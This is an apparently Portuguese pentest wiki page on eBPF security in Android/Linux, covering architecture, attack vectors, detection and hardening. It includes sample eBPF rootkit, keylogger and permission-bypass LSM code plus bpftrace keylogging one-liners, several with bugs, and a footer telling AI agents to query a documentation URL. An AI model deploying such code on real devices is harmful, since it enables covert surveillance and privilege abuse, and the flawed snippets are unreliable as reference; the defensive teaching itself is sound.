# eBPF   Extended Berkeley Packet Filter

## **📋 Índice**

1. [Fundamentos do eBPF](#-fundamentos-do-ebpf)
2. [Arquitetura e Componentes](#-arquitetura-e-componentes)
3. [eBPF no Android](#-ebpf-no-android)
4. [Mecanismos de Ataque](#-mecanismos-de-ataque)
5. [Técnicas de Exploração](#-técnicas-de-exploração)
6. [Vetores de Ataque](#-vetores-de-ataque)
7. [Ferramentas de Exploração](#-ferramentas-de-exploração)
8. [Impacto e Consequências](#-impacto-e-consequências)
9. [Detecção e Monitoramento](#-detecção-e-monitoramento)
10. [Mitigações e Hardening](#-mitigações-e-hardening)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do eBPF**

### **O que é eBPF?**

**eBPF (Extended Berkeley Packet Filter)** é uma tecnologia do kernel Linux que permite executar programas sandboxed dentro do kernel sem modificar o código-fonte ou carregar módulos de kernel. Originalmente projetado para filtragem de pacotes, hoje é usado para tracing, monitoramento, rede e segurança. No Android, eBPF é usado para monitoramento de rede e desempenho.

### **Princípio de Funcionamento**

```mermaid
graph TD
    subgraph "User Space"
        A[Aplicação] --> B[Programa eBPF C]
        B --> C[Compilação (clang/LLVM)]
        C --> D[Bytecode eBPF]
    end
    
    subgraph "Kernel Space"
        D --> E[Verificador eBPF]
        E -->|Aprovado| F[JIT Compiler]
        F --> G[Código Nativo]
        G --> H[Hooks do Kernel]
        H --> I[Maps eBPF]
        I --> J[Perf Events]
    end
    
    style E fill:#99ccff
    style F fill:#99ccff
```

### **Características do eBPF**

```yaml
Características Principais:

  ✅ Sandboxed:
    - Verificador de segurança antes da execução
    - Proibido loops não limitados
    - Acesso restrito à memória

  ✅ Eficiente:
    - Compilação JIT (Just-In-Time)
    - Execução em kernel space
    - Baixo overhead

  ✅ Versátil:
    - Networking (XDP, TC)
    - Tracing (kprobes, uprobes)
    - Monitoring (perf events)
    - Security (LSM hooks)

  ⚠️ Riscos:
    - Pode ser usado para rootkits
    - Monitoramento de tráfego
    - Exfiltração de dados
```

***

## 🏗️ **Arquitetura e Componentes**

### **Componentes do eBPF**

```python
#!/usr/bin/env python3
# ebpf_architecture.py - Arquitetura do eBPF

class eBPFArchitecture:
    """Análise da arquitetura do eBPF"""
    
    @staticmethod
    def ebpf_hooks():
        """Hooks do eBPF no kernel"""
        print("🔌 Hooks do eBPF no Kernel")
        print("=" * 60)
        
        hooks = {
            "kprobes/kretprobes": "Instrumentação de funções do kernel",
            "uprobes/uretprobes": "Instrumentação de funções de user space",
            "tracepoints": "Pontos de rastreamento estáticos",
            "XDP (eXpress Data Path)": "Processamento de pacotes no driver de rede",
            "TC (Traffic Control)": "Classificação e ação de tráfego",
            "sockets": "Filtragem de sockets",
            "LSM (Linux Security Module)": "Hooks de segurança",
            "cgroups": "Controle de grupos"
        }
        
        for hook, desc in hooks.items():
            print(f"   • {hook}: {desc}")
    
    @staticmethod
    def ebpf_maps():
        """Estruturas de dados eBPF"""
        print("\n🗺️ Maps eBPF")
        print("=" * 60)
        
        maps = {
            "BPF_MAP_TYPE_HASH": "Tabela hash",
            "BPF_MAP_TYPE_ARRAY": "Array",
            "BPF_MAP_TYPE_PROG_ARRAY": "Array de programas",
            "BPF_MAP_TYPE_PERF_EVENT_ARRAY": "Eventos de performance",
            "BPF_MAP_TYPE_RINGBUF": "Buffer circular",
            "BPF_MAP_TYPE_STACK_TRACE": "Stack traces",
            "BPF_MAP_TYPE_QUEUE": "Fila",
            "BPF_MAP_TYPE_STACK": "Pilha"
        }
        
        for map_type, desc in maps.items():
            print(f"   • {map_type}: {desc}")
    
    @staticmethod
    def ebpf_helpers():
        """Funções helper do eBPF"""
        print("\n🛠️ Helper Functions eBPF")
        print("=" * 60)
        
        helpers = [
            "bpf_map_lookup_elem",
            "bpf_map_update_elem",
            "bpf_map_delete_elem",
            "bpf_probe_read",
            "bpf_probe_write_user",
            "bpf_get_current_pid_tgid",
            "bpf_get_current_uid_gid",
            "bpf_trace_printk",
            "bpf_perf_event_output",
            "bpf_get_stackid"
        ]
        
        for helper in helpers:
            print(f"   • {helper}")

# Executar
eBPFArchitecture.ebpf_hooks()
eBPFArchitecture.ebpf_maps()
eBPFArchitecture.ebpf_helpers()
```

### **Ciclo de Vida do Programa eBPF**

```mermaid
sequenceDiagram
    participant U as User Space
    participant K as Kernel

    U->>K: 1. Carrega bytecode eBPF
    K->>K: 2. Verificador de segurança
    K->>K: 3. Verificação de loops
    K->>K: 4. Verificação de acesso a memória
    
    alt Verificação OK
        K->>K: 5. JIT compilation
        K->>K: 6. Attach ao hook
        K-->>U: 7. Sucesso
    else Verificação Falha
        K-->>U: Erro de verificação
    end
    
    Note over K: 8. Programa executa no hook
    K->>K: 9. Chama helpers
    K->>K: 10. Acessa maps
    K->>U: 11. Envia eventos
```

***

## 📱 **eBPF no Android**

### **eBPF no Kernel Android**

```yaml
eBPF no Android:

  Suporte por Versão:
    Android 8 (Oreo): Suporte básico (bpf)
    Android 9 (Pie): Suporte estendido
    Android 10: bpfmt, bpfloader
    Android 11+: Suporte completo

  Componentes:
    bpfloader: Carrega programas eBPF no boot
    bpfmt: Sistema de arquivos BPF
    libbpf: Biblioteca user space
    bpftrace: Ferramenta de tracing

  Uso no Android:
    - Monitoramento de rede (ConnectivityService)
    - Coleta de estatísticas
    - Trace de performance
    - Segurança (SELinux)
```

### **Programas eBPF no Android**

```c
// android_ebpf_example.c - Programa eBPF para Android

#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>

// Mapa para contar pacotes
struct bpf_map_def SEC("maps") packet_count = {
    .type = BPF_MAP_TYPE_ARRAY,
    .key_size = sizeof(__u32),
    .value_size = sizeof(__u64),
    .max_entries = 1,
};

// Programa XDP para contar pacotes
SEC("xdp")
int count_packets(struct xdp_md *ctx) {
    __u32 key = 0;
    __u64 *count = bpf_map_lookup_elem(&packet_count, &key);
    
    if (count) {
        __sync_fetch_and_add(count, 1);
    }
    
    return XDP_PASS;
}

// Programa kprobe para monitorar syscalls
SEC("kprobe/sys_write")
int trace_sys_write(struct pt_regs *ctx) {
    __u32 pid = bpf_get_current_pid_tgid() >> 32;
    bpf_trace_printk("write called by PID %d\n", pid);
    return 0;
}

char _license[] SEC("license") = "GPL";
```

### **Carregamento de eBPF no Android**

```bash
#!/system/bin/sh
# ebpf_android_loader.sh - Carregamento de eBPF no Android

# 1. Verificar suporte eBPF
ls /sys/fs/bpf/
cat /proc/sys/kernel/unprivileged_bpf_disabled

# 2. Carregar programa eBPF
bpfloader -p /system/etc/bpf/test.o

# 3. Verificar programas carregados
bpftool prog list
bpftool map list

# 4. Monitorar eventos
cat /sys/kernel/debug/tracing/trace_pipe
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo de Ataque com eBPF**

```mermaid
graph TD
    A[Atacante] --> B[Carrega programa eBPF malicioso]
    B --> C[Programa passa pelo verificador]
    
    C --> D{Verificação OK?}
    D -->|Sim| E[Programa executado no kernel]
    D -->|Não| F[Carrega módulo kernel]
    
    E --> G[Hook em syscalls]
    E --> H[Monitoramento de tráfego]
    E --> I[Modificação de dados]
    
    G --> J[Rootkit]
    H --> K[Exfiltração]
    I --> L[Manipulação]
    
    style E fill:#ff9999
    style J fill:#ff6666
```

### **Vetores de Ataque**

```yaml
Vetores de Ataque com eBPF:

  🔴 Rootkits:
    - Hook de syscalls
    - Ocultamento de processos
    - Ocultamento de arquivos
    - Ocultamento de conexões

  🔴 Monitoramento:
    - Captura de tráfego de rede
    - Keylogging
    - Captura de syscalls
    - Leitura de arquivos

  🔴 Manipulação:
    - Modificação de tráfego de rede
    - Redirecionamento de conexões
    - Injeção de dados

  🔴 Exfiltração:
    - Envio de dados via perf events
    - Envio via mapas compartilhados
    - Comunicação com user space
```

***

## 🔧 **Técnicas de Exploração**

### **Técnica 1: eBPF Rootkit**

```c
// ebpf_rootkit.c - Rootkit via eBPF

#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <linux/ptrace.h>

// Mapa para controle
struct bpf_map_def SEC("maps") hide_pid = {
    .type = BPF_MAP_TYPE_HASH,
    .key_size = sizeof(__u32),
    .value_size = sizeof(__u32),
    .max_entries = 1024,
};

// Hook de getdents para ocultar processos
SEC("kprobe/sys_getdents64")
int trace_getdents64(struct pt_regs *ctx) {
    __u32 pid = bpf_get_current_pid_tgid() >> 32;
    
    // Verificar se PID deve ser ocultado
    __u32 *hide = bpf_map_lookup_elem(&hide_pid, &pid);
    if (hide) {
        // Modificar resultados para ocultar processo
        // (implementação simplificada)
        bpf_trace_printk("Hiding process %d\n", pid);
    }
    
    return 0;
}

// Hook de open para ocultar arquivos
SEC("kprobe/sys_openat")
int trace_openat(struct pt_regs *ctx) {
    char filename[256];
    
    // Ler nome do arquivo
    bpf_probe_read_user_str(filename, sizeof(filename), (void *)PT_REGS_PARM2(ctx));
    
    // Verificar se arquivo deve ser ocultado
    if (str_contains(filename, "malware")) {
        bpf_trace_printk("Hiding file: %s\n", filename);
        return -ENOENT;  // Arquivo não encontrado
    }
    
    return 0;
}

char _license[] SEC("license") = "GPL";
```

### **Técnica 2: eBPF Keylogger**

```c
// ebpf_keylogger.c - Keylogger via eBPF

#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <linux/input.h>

// Mapa para eventos
struct bpf_map_def SEC("maps") key_events = {
    .type = BPF_MAP_TYPE_PERF_EVENT_ARRAY,
    .key_size = sizeof(__u32),
    .value_size = sizeof(__u32),
    .max_entries = 1024,
};

// Estrutura para eventos de tecla
struct key_event {
    __u32 pid;
    __u32 uid;
    __u16 code;
    __u16 value;
    char comm[16];
};

// Hook de função de input
SEC("kprobe/input_event")
int trace_input_event(struct pt_regs *ctx) {
    struct input_event ev;
    struct key_event event = {};
    
    // Ler evento de tecla
    bpf_probe_read(&ev, sizeof(ev), (void *)PT_REGS_PARM1(ctx));
    
    // Filtrar apenas eventos de tecla
    if (ev.type == EV_KEY && ev.value == 1) {
        event.pid = bpf_get_current_pid_tgid() >> 32;
        event.uid = bpf_get_current_uid_gid();
        event.code = ev.code;
        event.value = ev.value;
        
        // Obter nome do processo
        bpf_get_current_comm(event.comm, sizeof(event.comm));
        
        // Enviar evento
        bpf_perf_event_output(ctx, &key_events, BPF_F_CURRENT_CPU, &event, sizeof(event));
    }
    
    return 0;
}

char _license[] SEC("license") = "GPL";
```

### **Técnica 3: eBPF Network Monitor**

```c
// ebpf_network_monitor.c - Monitor de rede via eBPF

#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>

// Mapa para contagem de conexões
struct bpf_map_def SEC("maps") connection_count = {
    .type = BPF_MAP_TYPE_HASH,
    .key_size = sizeof(__u32),
    .value_size = sizeof(__u64),
    .max_entries = 1024,
};

// Estrutura para eventos de conexão
struct connection_event {
    __u32 src_ip;
    __u32 dst_ip;
    __u16 src_port;
    __u16 dst_port;
    __u8 protocol;
};

// Programa XDP para monitorar pacotes
SEC("xdp")
int monitor_packets(struct xdp_md *ctx) {
    void *data_end = (void *)(long)ctx->data_end;
    void *data = (void *)(long)ctx->data;
    
    struct ethhdr *eth = data;
    if ((void *)(eth + 1) > data_end)
        return XDP_PASS;
    
    if (eth->h_proto == __constant_htons(ETH_P_IP)) {
        struct iphdr *ip = (struct iphdr *)(eth + 1);
        if ((void *)(ip + 1) > data_end)
            return XDP_PASS;
        
        if (ip->protocol == IPPROTO_TCP) {
            struct tcphdr *tcp = (struct tcphdr *)(ip + 1);
            if ((void *)(tcp + 1) > data_end)
                return XDP_PASS;
            
            struct connection_event ev = {
                .src_ip = ip->saddr,
                .dst_ip = ip->daddr,
                .src_port = ntohs(tcp->source),
                .dst_port = ntohs(tcp->dest),
                .protocol = ip->protocol
            };
            
            // Incrementar contagem
            __u32 key = 0;
            __u64 *count = bpf_map_lookup_elem(&connection_count, &key);
            if (count) {
                __sync_fetch_and_add(count, 1);
            }
            
            bpf_trace_printk("TCP packet: %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d\n",
                (ip->saddr >> 0) & 0xFF, (ip->saddr >> 8) & 0xFF,
                (ip->saddr >> 16) & 0xFF, (ip->saddr >> 24) & 0xFF,
                ntohs(tcp->source),
                (ip->daddr >> 0) & 0xFF, (ip->daddr >> 8) & 0xFF,
                (ip->daddr >> 16) & 0xFF, (ip->daddr >> 24) & 0xFF,
                ntohs(tcp->dest));
        }
    }
    
    return XDP_PASS;
}

char _license[] SEC("license") = "GPL";
```

### **Técnica 4: Exploração com bpftrace**

```bash
#!/bin/bash
# ebpf_bpftrace_exploit.sh - Exploração com bpftrace

# 1. Monitorar execução de comandos
bpftrace -e 'tracepoint:syscalls:sys_enter_execve { printf("%s executed %s\n", comm, str(args->filename)); }'

# 2. Keylogging
bpftrace -e 'kprobe:input_event /args->type == 1 && args->value == 1/ { printf("Key pressed: %d\n", args->code); }'

# 3. Monitorar leitura de arquivos
bpftrace -e 'kprobe:do_sys_open { printf("Opening: %s\n", str(args->filename)); }'

# 4. Capturar conexões de rede
bpftrace -e 'kprobe:tcp_connect { printf("Connect to %pISpc\n", args->sk); }'

# 5. Monitorar processos
bpftrace -e 'kprobe:wake_up_new_process { printf("New process: %s\n", comm); }'
```

### **Técnica 5: eBPF LSM Hook**

```c
// ebpf_lsm_exploit.c - Exploração via LSM hooks

#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <linux/security.h>

// Mapa para bypass de permissões
struct bpf_map_def SEC("maps") bypass_perms = {
    .type = BPF_MAP_TYPE_HASH,
    .key_size = sizeof(__u32),
    .value_size = sizeof(__u32),
    .max_entries = 1024,
};

// Hook LSM para bypass de permissões de arquivo
SEC("lsm/file_permission")
int lsm_file_permission(struct file *file, int mask) {
    __u32 uid = bpf_get_current_uid_gid();
    __u32 *bypass = bpf_map_lookup_elem(&bypass_perms, &uid);
    
    if (bypass) {
        // Bypass verificação de permissão
        return 0;
    }
    
    return -EPERM;
}

// Hook LSM para bypass de capabilities
SEC("lsm/capable")
int lsm_capable(const struct cred *cred, int cap, int opts) {
    __u32 uid = bpf_get_current_uid_gid();
    __u32 *bypass = bpf_map_lookup_elem(&bypass_perms, &uid);
    
    if (bypass) {
        // Conceder capacidade
        return 0;
    }
    
    return -EPERM;
}

char _license[] SEC("license") = "GPL";
```

***

## 🛠️ **Ferramentas de Exploração**

### **Ferramentas para eBPF**

```bash
# bpftool - Gerenciamento de eBPF
bpftool prog list
bpftool map list
bpftool prog dump xlated id 123
bpftool prog dump jited id 123

# bpftrace - Tracing dinâmico
bpftrace -l | grep -i security
bpftrace -e 'tracepoint:syscalls:sys_enter_open { printf("%s\n", str(args->filename)); }'

# libbpf - Biblioteca C
gcc -o ebpf_prog ebpf_prog.c -lbpf -lelf -lz

# BCC - BPF Compiler Collection
sudo apt-get install bcc-tools
execsnoop
opensnoop
tcpconnect
```

### **Script de Exploração Automatizado**

```python
#!/usr/bin/env python3
# ebpf_auto_exploit.py - Exploração automatizada de eBPF

import subprocess
import sys

class eBPFAutoExploit:
    """Ferramenta automatizada para exploração de eBPF"""
    
    @staticmethod
    def check_ebpf_support():
        """Verificar suporte a eBPF"""
        print("[*] Verificando suporte a eBPF...")
        
        # Verificar kernel
        result = subprocess.run(['uname', '-r'], capture_output=True, text=True)
        kernel_version = result.stdout.strip()
        print(f"   Kernel: {kernel_version}")
        
        # Verificar BPF filesystem
        result = subprocess.run(['mount', '|', 'grep', 'bpf'], capture_output=True, text=True, shell=True)
        if 'bpf' in result.stdout:
            print("   ✅ BPF filesystem montado")
        else:
            print("   ❌ BPF filesystem não montado")
        
        # Verificar permissões
        with open('/proc/sys/kernel/unprivileged_bpf_disabled', 'r') as f:
            disabled = f.read().strip()
            if disabled == '0':
                print("   ✅ Unprivileged eBPF habilitado")
            else:
                print("   ❌ Unprivileged eBPF desabilitado")
    
    @staticmethod
    def list_ebpf_programs():
        """Listar programas eBPF carregados"""
        print("\n[*] Listando programas eBPF...")
        
        result = subprocess.run(['bpftool', 'prog', 'list'], capture_output=True, text=True)
        if result.stdout:
            print(result.stdout)
        else:
            print("   Nenhum programa eBPF encontrado")
    
    @staticmethod
    def list_ebpf_maps():
        """Listar maps eBPF"""
        print("\n[*] Listando maps eBPF...")
        
        result = subprocess.run(['bpftool', 'map', 'list'], capture_output=True, text=True)
        if result.stdout:
            print(result.stdout)
    
    @staticmethod
    def monitor_syscalls(duration=10):
        """Monitorar syscalls com eBPF"""
        print(f"\n[*] Monitorando syscalls por {duration}s...")
        
        cmd = ['timeout', str(duration), 'bpftrace', '-e', 
               'tracepoint:syscalls:sys_enter_* { printf("%s\\n", probe); }']
        
        result = subprocess.run(cmd, capture_output=True, text=True)
        print(result.stdout)
    
    @staticmethod
    def generate_report():
        """Gerar relatório"""
        print("\n📊 RELATÓRIO eBPF")
        print("=" * 60)
        
        print("Riscos de segurança eBPF:")
        print("   • Programas eBPF maliciosos podem executar no kernel")
        print("   • Rootkits baseados em eBPF são difíceis de detectar")
        print("   • Keylogging e monitoramento de rede são possíveis")
        print("   • Bypass de permissões via LSM hooks")
        
        print("\n🎯 RECOMENDAÇÕES:")
        print("   • Desabilitar unprivileged eBPF")
        print("   • Monitorar carregamento de programas eBPF")
        print("   • Usar SELinux para restringir acesso")
        print("   • Auditar programas eBPF carregados")

# Uso
if __name__ == "__main__":
    print("🐝 eBPF Security Analysis")
    print("=" * 60)
    
    if os.geteuid() != 0:
        print("❌ É necessário privilégios root")
        sys.exit(1)
    
    eBPFAutoExploit.check_ebpf_support()
    eBPFAutoExploit.list_ebpf_programs()
    eBPFAutoExploit.list_ebpf_maps()
    eBPFAutoExploit.monitor_syscalls(5)
    eBPFAutoExploit.generate_report()
```

***

## 🔍 **Detecção e Monitoramento**

### **Detecção de eBPF Malicioso**

```python
#!/usr/bin/env python3
# ebpf_detection.py - Detecção de eBPF malicioso

import subprocess
import re

class eBPFDetection:
    """Detector de programas eBPF maliciosos"""
    
    @staticmethod
    def detect_rootkit_patterns():
        """Detectar padrões de rootkit eBPF"""
        print("[*] Detectando padrões de rootkit...")
        
        result = subprocess.run(['bpftool', 'prog', 'list'], capture_output=True, text=True)
        
        suspicious_patterns = [
            'sys_getdents',     # Ocultamento de processos
            'sys_openat',       # Ocultamento de arquivos
            'tcp_connect',      # Monitoramento de rede
            'input_event',      # Keylogging
            'capable',          # Bypass de capabilities
            'file_permission'   # Bypass de permissões
        ]
        
        found = []
        for pattern in suspicious_patterns:
            if pattern in result.stdout:
                found.append(pattern)
                print(f"   ⚠️ Padrão suspeito: {pattern}")
        
        return found
    
    @staticmethod
    def monitor_ebpf_load():
        """Monitorar carregamento de programas eBPF"""
        print("\n[*] Monitorando carregamento de programas eBPF...")
        
        # Verificar logs
        result = subprocess.run(['dmesg', '|', 'grep', '-i', 'bpf'], capture_output=True, text=True, shell=True)
        
        if 'BPF' in result.stdout or 'bpf' in result.stdout:
            print("   Eventos BPF encontrados:")
            for line in result.stdout.split('\n')[:5]:
                print(f"      {line[:100]}")
    
    @staticmethod
    def check_ebpf_verifier():
        """Verificar logs do verificador eBPF"""
        print("\n[*] Verificando logs do verificador eBPF...")
        
        result = subprocess.run(['dmesg', '|', 'grep', 'verifier'], capture_output=True, text=True, shell=True)
        
        if 'verifier' in result.stdout:
            print("   Erros de verificação eBPF encontrados:")
            for line in result.stdout.split('\n')[:3]:
                print(f"      {line[:100]}")
    
    @staticmethod
    def continuous_monitor(interval=5):
        """Monitoramento contínuo"""
        print(f"\n[*] Monitoramento contínuo (intervalo {interval}s)...")
        
        import time
        baseline = set()
        
        while True:
            result = subprocess.run(['bpftool', 'prog', 'list'], capture_output=True, text=True)
            current = set(re.findall(r'prog_id (\d+)', result.stdout))
            
            new_progs = current - baseline
            if new_progs:
                print(f"⚠️ Novos programas eBPF detectados: {new_progs}")
            
            baseline = current
            time.sleep(interval)

# Uso
if __name__ == "__main__":
    print("🔍 eBPF Malicious Detection")
    print("=" * 60)
    
    eBPFDetection.detect_rootkit_patterns()
    eBPFDetection.monitor_ebpf_load()
    eBPFDetection.check_ebpf_verifier()
```

***

## 🛡️ **Mitigações e Hardening**

### **Hardening do eBPF**

```bash
#!/system/bin/sh
# ebpf_hardening.sh - Hardening do eBPF

# 1. Desabilitar unprivileged eBPF
echo "1" > /proc/sys/kernel/unprivileged_bpf_disabled

# 2. Limitar número de programas eBPF
echo "100" > /proc/sys/net/core/bpf_jit_limit

# 3. Configurar SELinux para eBPF
# Adicionar regras ao policy
cat >> /etc/selinux/policy << EOF
allow system_server bpf_map:file *;
allow untrusted_app bpf_map:file read;
dontaudit { untrusted_app } bpf_map:file write;
EOF

# 4. Monitorar BPF filesystem
mount -t bpf bpf /sys/fs/bpf -o rw,nosuid,nodev,noexec

# 5. Configurar audit para eBPF
auditctl -a always,exit -F arch=b64 -S bpf -k ebpf_load

# 6. Limitar perf events
echo "1000" > /proc/sys/kernel/perf_event_max_sample_rate
```

### **Políticas de Segurança**

```yaml
Recomendações de Hardening:

  ✅ Kernel:
    - Desabilitar unprivileged eBPF
    - Limitar número de programas
    - Habilitar JIT hardening

  ✅ SELinux:
    - Restringir acesso a BPF
    - Políticas para bpf_map
    - Auditoria de carregamento

  ✅ Monitoramento:
    - Alertar sobre novos programas
    - Analisar padrões de rootkit
    - Logs de verificação eBPF

  ✅ Aplicações:
    - Revisar uso de eBPF
    - Verificar programas carregados
    - Limitar permissões
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

* [ ] Desabilitar unprivileged eBPF
* [ ] Configurar SELinux para eBPF
* [ ] Monitorar carregamento de programas
* [ ] Limitar programas eBPF por usuário
* [ ] Auditar logs do verificador

### **Checklist para Pentesters**

* [ ] Verificar suporte a eBPF
* [ ] Testar carregamento de programas
* [ ] Desenvolver rootkit eBPF (POC)
* [ ] Testar bypass de permissões
* [ ] Monitorar syscalls com bpftrace

***

## 📊 **Conclusão**

```yaml
eBPF no Android:

  🔴 Principais Vetores:
    - Rootkits via eBPF
    - Keylogging
    - Monitoramento de rede
    - Bypass de permissões

  🛡️ Mitigações Essenciais:
    - Desabilitar unprivileged eBPF
    - SELinux para BPF
    - Monitoramento contínuo
    - Auditoria de programas

  🎯 Prioridade:
    - CRÍTICA: Rootkits
    - ALTA: Keylogging
    - MÉDIA: Monitoramento
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/android/ebpf-extended-berkeley-packet-filter.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.